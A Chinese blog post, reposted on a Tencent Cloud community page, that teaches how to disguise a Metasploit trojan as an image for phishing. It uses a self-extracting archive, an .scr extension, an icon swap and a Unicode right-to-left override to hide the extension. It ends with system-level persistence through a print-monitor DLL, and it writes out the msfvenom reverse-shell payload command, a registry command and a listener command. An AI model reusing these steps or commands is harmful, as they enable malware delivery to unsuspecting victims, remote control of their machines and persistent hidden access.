Phishing

$> 最近来了好多的兄弟,很开心,共同学习,共同进步!


0x01 前言

偶然在YouXbe上看见一个视频:

通过这个软件可以做到图片和木马程序绑定,点击之后图片正常显示,但同时会运行绑定的程序

这就让我很费解啊,有这技术,钓鱼还不要爽翻了?这要买一个这个工具,钓鱼不是起飞了,但是作为一个资深白嫖党,怎么可能会花这个钱呢 ,穷是驱动力,通过翻看这个视频,还真被我找到了其中的端倪。

0x02 揭秘

这个软件本质上实现了两个功能:自解压和更改后缀

  • 自解压

所谓的自解压很简单,例如winrar这类压缩软件除了正常压缩为rar、zip等后缀以外,还可以压缩成exe文件,双击exe文件后,文件会被自动解压,而且通过配置可以做到不展示解压过程、指定解压目录和执行指定的程序

我下载一个jpg文件,用msf生成一个木马 winUpdate.exe,然后使用自解压将其压缩:

在高级中配置自解压选项:

解压路径:

指定程序运行:

隐藏解压过程:

此时会生成desktop.exe,这样双击之后它会自动解压,且会先运行解压到c:\windows\temp目录下的1.jpg,然后运行winUpdate.exe。

  • 更改后缀

exe太扎眼了,也不符合视频里的所谓的绑定图片和木马的规矩,Windows里常见的可执行程序后缀有exe、msi、sys等等,还有一个后缀其实一直不太引人注目,就是scr,即屏幕保护程序,所以视频里做的其实就是更改了后缀为scr:

  • 加注

仅仅是这样的话,还是有点low,所以我准备再加几个隐蔽的措施

  • 修改图标

用ResourceHacker可以修改图标,将图片1.jpg转成ico,再使用工具替换原有图标:

由于原始图片有点小,转换后的照片也会比较模糊,用大图片就不会有这个问题

  • Unicode翻转改后缀

Unicode定义的 Start of right-to-left override,控制字符是RLO,ASCII码是0x3F,Windows下可以插入RLO,实现文本倒序

将desktop.scr重命名为如 gpj.scr,在k后面右键点击插入unicode字符,插入RLO

0x03 最后

双击程序上线:

看看解压路径:

0x04 最最后

那么既然msf已经成功上线了,我们肯定想做一下权限维持,让他能够一直上线,所以这里再提一嘴权限维持:

用注册表做开机自启的权限维持已经是老生常谈了,但普遍会在下面两个地方做(或者是HKLM):

  • HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

这里提一个更隐蔽的地方,但是前提是已经是administrator权限:

系统引导期间,各种服务会调用加载各自的DLL,打印机监视器可以通过调用AddMonitor API来设置在启动时加载的DLL。此DLL位于c:\windows\system32中,将由spoolsv.exe,引导。其进程也在系统级权限下运行。

使用MSF生成一个DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.31.196 lport=4444 -f dll > inj.dll

拿到shell后,通过具有管理员权限的meterpreter会话将生成的DLL注入到c:\windows\system32目录中,然后执行命令:

reg add "hklm\system\currentcontrolset\control\print\monitors\ignite" /v "Driver" /d "inj.dll" /t REG_SZ

测试过程发现会dll上传到sysWow64里,此时移动到system32就行

MSF重新监听:

./msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.31.196; set lport 4444; run; "

重启靶机:

上线而且是system权限

本文分享自微信公众号 - 漫流砂(yidalidemao),作者:意大利的猫

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-07-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Nmap

    Nmap 是网络安全届的明星级工具了,在扫描届几乎无敌,同时配合Script可以实现基本的渗透测试。Nmap 是安全人员必须熟练掌握的一个工具

    意大利的猫
  • 记一次攻防演练tips | 攻防tips

    关于信息收集,已经有方法论类的东西总结的很好了,我只说我喜欢的,以百度代替真实站点

    意大利的猫
  • 开篇讲--关于Kali的碎碎念(2)

    Kali 作为当今安全测试系统中的佼佼者,获得了多方的认可,并且现在已经有了自己的培训书籍和认证体系

    意大利的猫
  • Jmeter系列(49)- 详解 HTTP Cookie 管理器

    CookieManager.delete_null_cookies = false

    小菠萝测试笔记
  • linux下 debug 工具 strace 应用之【查找命令依赖库文件】

    查看 /lib64 目录是 /usr/lib64 的链接目录(文件权限第一位为 l 代表该文件/目录是链接文件/目录)

    大大大黑白格子
  • Python在线考试系统防作弊功能的思路和实现

    我自己用Python开发了一套教学管理软件,具有在线点名、提问、答疑、交作业、自测、在线考试、数据导入导出与汇总、Word试卷生成等多个功能,其中在线考试系统具...

    Python小屋屋主
  • WEB的核心:HTTP协议

    HTTP全称“超文本传输协议”,是一个应用层协议,对Web的请求应答格式进行了规定。HTTP由两个程序实现,一个客户端程序,一个服务端程序。两者通过交换HTTP...

    naget
  • 会计学原理 读书笔记2

    学习目标CAP 概念(Conceptual) C1 为什么临时性账户每期都要结清 C2 会计循环的各个步骤 C3 分类资产负债表及其编制 程序(Pr...

    lilugirl
  • 大数据安全市场现状和需求分析

    后web2.0时代,互联网、物联网每天都在生产大量数据,人们对于这些庞大数据资源的价值渴求,使得“大数据”的概念得以问世。如果说“数据”是支撑未来核心技术的基础...

    企鹅号小编
  • 洞察|淘宝大数据之路:回顾这些年淘宝大数据所经历过的故事

    2003年至今淘宝网从零开始飞速发展,走过了13个年头,支撑淘宝业务野蛮式生长背后是一套不断完善的技术平台,淘宝大数据平台,就是其中非常重要的一个组成部分,承...

    灯塔大数据

扫码关注云+社区

领取腾讯云代金券